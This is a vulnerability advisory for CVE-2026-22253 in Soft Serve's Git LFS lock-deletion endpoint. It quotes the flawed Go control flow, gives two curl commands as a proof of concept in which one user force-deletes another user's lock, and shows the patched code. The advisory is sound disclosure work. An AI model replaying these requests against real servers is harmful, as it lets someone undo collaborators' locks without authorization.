CVE-2026-22253 is a medium severity vulnerability with a CVSS score of 5.4. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the force flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LFile: pkg/web/git_lfs.go
Function: serviceLfsLocksDelete (lines 831–945)
Endpoint: POST /<repo>.git/info/lfs/locks/:lockID/unlock
The control flow processes req.Force at line 905 before retrieving user context at line 919:
// Line 905-916: Force delete executes immediately without authorization
if req.Force {
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return // Returns here, never reaching user validation
}
// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)
Setup: Two users with write access to the same repository—User A (lock owner) and User B (attacker).
User A creates a lock:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks \
-H "Authorization: Basic <user_a_token>" \
-H "Content-Type: application/vnd.git-lfs+json" \
-d '{"path": "protected-file.bin"}'
User B deletes User A's lock using force flag:
curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \
-H "Authorization: Basic <user_b_token>" \
-H "Content-Type: application/vnd.git-lfs+json" \
-d '{"force": true}'
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Result: Lock deleted successfully with 200 OK. Expected: 403 Forbidden.
Retrieve user context and validate authorization before processing the force flag:
user := proto.UserFromContext(ctx)
if user == nil {
renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
Message: "unauthorized",
})
return
}
if req.Force {
if !user.IsAdmin() {
renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
Message: "admin access required for force delete",
})
return
}
if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
// ...
}
renderJSON(w, http.StatusOK, l)
return
}
Affected Deployments: Soft Serve instances with LFS enabled and repositories with multiple collaborators.
Exploitation Requirements:
Consequences:
Limitations: Does not grant file access, escalate repository permissions, or affect repositories where the attacker lacks write access.